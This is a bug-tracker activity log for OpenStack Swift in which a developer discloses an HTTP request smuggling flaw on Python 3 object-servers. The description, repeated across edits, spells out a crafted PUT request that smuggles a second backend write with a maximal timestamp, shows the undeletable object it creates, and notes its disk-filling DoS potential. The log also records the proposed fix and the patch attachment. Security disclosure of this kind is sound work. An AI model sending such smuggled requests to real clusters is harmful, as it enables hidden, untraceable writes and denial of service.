| 2019-08-16 21:28:03 |
Tim Burke |
bug |
|
|
added bug |
| 2019-08-17 14:02:26 |
Jeremy Stanley |
bug task added |
|
ossa |
|
| 2019-08-17 14:02:35 |
Jeremy Stanley |
ossa: status |
New |
Incomplete |
|
| 2019-08-17 14:03:03 |
Jeremy Stanley |
description |
Python 3 doesn't parse headers the same way as python 2 [1]. We attempt to address this failing [2], but since we're doing it at the application level, eventlet can still get confused about what should and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-Meta-x-🌴: 👍
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Transfer-Encoding: chunked
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers, and send a request on to the object-servers like
PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
Accept-Encoding: identity
Expect: 100-continue
X-Container-Device: sdb2
Content-Length: 4
X-Object-Meta-X-🌴: 👍
Connection: close
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Content-Type: application/octet-stream
X-Backend-Storage-Policy-Index: 1
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-Partition: 61
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://saio:8080/v1/AUTH_test/c/o
Transfer-Encoding: chunked
X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
X-Backend-Clean-Expiring-Object-Queue: f
(Note that the exact order of the headers will vary but is significant; the above was obtained on my machine with PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers up to (and not including, though that doesn't really matter) the palm tree. Significantly, it sees `Content-Length: 4` (which, per the spec [3], the proxy-server ignored) and doesn't see either of `Connection: close` or `Transfer-Encoding: chunked`. The *application* gets all of the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
Since eventlet thinks the request body is only four bytes, swift writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the `Connection: close` header, it looks for and processes more requests on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a3f5a29d93eb2941f2
Content-Type: text/evil
Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee15292d823416f7510a2f (valid)
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a3f5a29d93eb2941f2
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing headers, servers should make appropriate adjustments to environ['wsgi.input'] to ensure that it has all relevant information about the request body. Second, the proxy should not include a Content-Length header when sending a chunk-encoded request to the backend.
[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7 |
This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments.
Python 3 doesn't parse headers the same way as python 2 [1]. We attempt to address this failing [2], but since we're doing it at the application level, eventlet can still get confused about what should and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-Meta-x-🌴: 👍
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Transfer-Encoding: chunked
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers, and send a request on to the object-servers like
PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
Accept-Encoding: identity
Expect: 100-continue
X-Container-Device: sdb2
Content-Length: 4
X-Object-Meta-X-🌴: 👍
Connection: close
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Content-Type: application/octet-stream
X-Backend-Storage-Policy-Index: 1
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-Partition: 61
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://saio:8080/v1/AUTH_test/c/o
Transfer-Encoding: chunked
X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
X-Backend-Clean-Expiring-Object-Queue: f
(Note that the exact order of the headers will vary but is significant; the above was obtained on my machine with PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers up to (and not including, though that doesn't really matter) the palm tree. Significantly, it sees `Content-Length: 4` (which, per the spec [3], the proxy-server ignored) and doesn't see either of `Connection: close` or `Transfer-Encoding: chunked`. The *application* gets all of the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
Since eventlet thinks the request body is only four bytes, swift writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the `Connection: close` header, it looks for and processes more requests on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a3f5a29d93eb2941f2
Content-Type: text/evil
Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee15292d823416f7510a2f (valid)
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a3f5a29d93eb2941f2
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing headers, servers should make appropriate adjustments to environ['wsgi.input'] to ensure that it has all relevant information about the request body. Second, the proxy should not include a Content-Length header when sending a chunk-encoded request to the backend.
[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7 |
|
| 2019-08-17 14:03:17 |
Jeremy Stanley |
bug |
|
|
added subscriber Swift Core security contacts |
| 2019-09-13 20:12:20 |
Tim Burke |
attachment added |
|
0001-Fix-some-request-smuggling-vectors-on-py3.patch https://bugs.launchpad.net/swift/+bug/1840507/+attachment/5288544/+files/0001-Fix-some-request-smuggling-vectors-on-py3.patch |
|
| 2019-09-19 23:08:19 |
Jeremy Stanley |
description |
This issue is being treated as a potential security risk under embargo. Please do not make any public mention of embargoed (private) security vulnerabilities before their coordinated publication by the OpenStack Vulnerability Management Team in the form of an official OpenStack Security Advisory. This includes discussion of the bug or associated fixes in public forums such as mailing lists, code review systems and bug trackers. Please also avoid private disclosure to other individuals not already approved for access to this information, and provide this same reminder to those who are made aware of the issue prior to publication. All discussion should remain confined to this private bug report, and any proposed fixes should be added to the bug as attachments.
Python 3 doesn't parse headers the same way as python 2 [1]. We attempt to address this failing [2], but since we're doing it at the application level, eventlet can still get confused about what should and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-Meta-x-🌴: 👍
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Transfer-Encoding: chunked
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers, and send a request on to the object-servers like
PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
Accept-Encoding: identity
Expect: 100-continue
X-Container-Device: sdb2
Content-Length: 4
X-Object-Meta-X-🌴: 👍
Connection: close
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Content-Type: application/octet-stream
X-Backend-Storage-Policy-Index: 1
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-Partition: 61
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://saio:8080/v1/AUTH_test/c/o
Transfer-Encoding: chunked
X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
X-Backend-Clean-Expiring-Object-Queue: f
(Note that the exact order of the headers will vary but is significant; the above was obtained on my machine with PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers up to (and not including, though that doesn't really matter) the palm tree. Significantly, it sees `Content-Length: 4` (which, per the spec [3], the proxy-server ignored) and doesn't see either of `Connection: close` or `Transfer-Encoding: chunked`. The *application* gets all of the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
Since eventlet thinks the request body is only four bytes, swift writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the `Connection: close` header, it looks for and processes more requests on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a3f5a29d93eb2941f2
Content-Type: text/evil
Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee15292d823416f7510a2f (valid)
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a3f5a29d93eb2941f2
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing headers, servers should make appropriate adjustments to environ['wsgi.input'] to ensure that it has all relevant information about the request body. Second, the proxy should not include a Content-Length header when sending a chunk-encoded request to the backend.
[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7 |
Python 3 doesn't parse headers the same way as python 2 [1]. We attempt to address this failing [2], but since we're doing it at the application level, eventlet can still get confused about what should and should not be the request body.
Consider a client request like
PUT /v1/AUTH_test/c/o HTTP/1.1
Host: saio:8080
Content-Length: 4
Connection: close
X-Object-Meta-x-🌴: 👍
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Transfer-Encoding: chunked
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
A python 2 proxy-server will auth the user, add a bunch more headers, and send a request on to the object-servers like
PUT /sdb1/312/AUTH_test/c/o HTTP/1.1
Accept-Encoding: identity
Expect: 100-continue
X-Container-Device: sdb2
Content-Length: 4
X-Object-Meta-X-🌴: 👍
Connection: close
X-Auth-Token: AUTH_tk71fece73d6af458a847f82ef9623d46a
Content-Type: application/octet-stream
X-Backend-Storage-Policy-Index: 1
X-Timestamp: 1565985475.83685
X-Container-Host: 127.0.0.1:6021
X-Container-Partition: 61
Host: saio:8080
User-Agent: proxy-server 3752
Referer: PUT http://saio:8080/v1/AUTH_test/c/o
Transfer-Encoding: chunked
X-Trans-Id: txef407697a8c1416c9cf2d-005d570ac3
X-Backend-Clean-Expiring-Object-Queue: f
(Note that the exact order of the headers will vary but is significant; the above was obtained on my machine with PYTHONHASHSEED=1.)
On a python 3 object-server, eventlet will only have seen the headers up to (and not including, though that doesn't really matter) the palm tree. Significantly, it sees `Content-Length: 4` (which, per the spec [3], the proxy-server ignored) and doesn't see either of `Connection: close` or `Transfer-Encoding: chunked`. The *application* gets all of the headers, though, so it responds
HTTP/1.1 100 Continue
and the proxy sends the body:
aa
PUT /sdb1/0/DUDE_u/r/pwned HTTP/1.1
Content-Length: 4
X-Timestamp: 9999999999.99999_ffffffffffffffff
Content-Type: text/evil
X-Backend-Storage-Policy-Index: 1
evil
0
Since eventlet thinks the request body is only four bytes, swift writes down b'aa\r\n' for AUTH_test/c/o. Since eventlet didn't see the `Connection: close` header, it looks for and processes more requests on the socket, and swift writes a second object:
$ swift-object-info /srv/node1/sdb1/objects-1/0/*/*/9999999999.99999_ffffffffffffffff.data
Path: /DUDE_u/r/pwned
Account: DUDE_u
Container: r
Object: pwned
Object hash: b05097e51f8700a3f5a29d93eb2941f2
Content-Type: text/evil
Timestamp: 2286-11-20T17:46:39.999990 (9999999999.99999_ffffffffffffffff)
System Metadata:
No metadata found
Transient System Metadata:
No metadata found
User Metadata:
No metadata found
Other Metadata:
No metadata found
ETag: 4034a346ccee15292d823416f7510a2f (valid)
Content-Length: 4 (valid)
Partition 705
Hash b05097e51f8700a3f5a29d93eb2941f2
...
There are a few things worth noting at this point:
1. This was for a replicated policy with encryption not enabled.
Having encryption enabled would mitigate this as the attack
payload would be encrypted; using an erasure-coded policy would
complicate the attack, but I believe most EC schemes would still
be vulnerable.
2. An attacker would need to know (or be able to guess) a device
name (such as "sdb1" above) used by one of the backend nodes.
3. Swift doesn't know how to delete this data -- the X-Timestamp
used was the maximum valid value, so no tombstone can be
written over it [4].
4. The account and container may not actually exist; it doesn't
really matter as no container update is sent. As a result, the
data written cannot easily be found or tracked.
5. A small payload was used for the demonstration, but it should
be fairly trivial to craft a larger one; this has potential as
a DOS attack on a cluster by filling its disks.
The fix should involve at least things: First, after re-parsing headers, servers should make appropriate adjustments to environ['wsgi.input'] to ensure that it has all relevant information about the request body. Second, the proxy should not include a Content-Length header when sending a chunk-encoded request to the backend.
[1] https://bugs.python.org/issue37093
[2] https://github.com/openstack/swift/commit/76fde8926
[3] https://tools.ietf.org/html/rfc7230#section-3.3.3 item 3
[4] https://github.com/openstack/swift/commit/f581fccf7 |
|
| 2019-09-19 23:08:27 |
Jeremy Stanley |
ossa: status |
Incomplete |
Won't Fix |
|
| 2019-09-19 23:08:37 |
Jeremy Stanley |
information type |
Private Security |
Public |
|
| 2019-09-19 23:08:55 |
Jeremy Stanley |
tags |
py3 |
py3 security |
|
| 2019-09-26 01:05:50 |
Anten Skrabec |
bug |
|
|
added subscriber Anten Skrabec |
| 2019-10-02 23:09:53 |
OpenStack Infra |
swift: status |
New |
Fix Released |
|
| 2019-10-05 05:38:53 |
OpenStack Infra |
tags |
py3 security |
in-feature-losf py3 security |
|
| 2019-10-05 05:38:54 |
OpenStack Infra |
bug watch added |
|
http://bugs.python.org/issue33973 |
|
| 2019-10-05 05:38:54 |
OpenStack Infra |
bug watch added |
|
http://bugs.python.org/issue30458 |
|
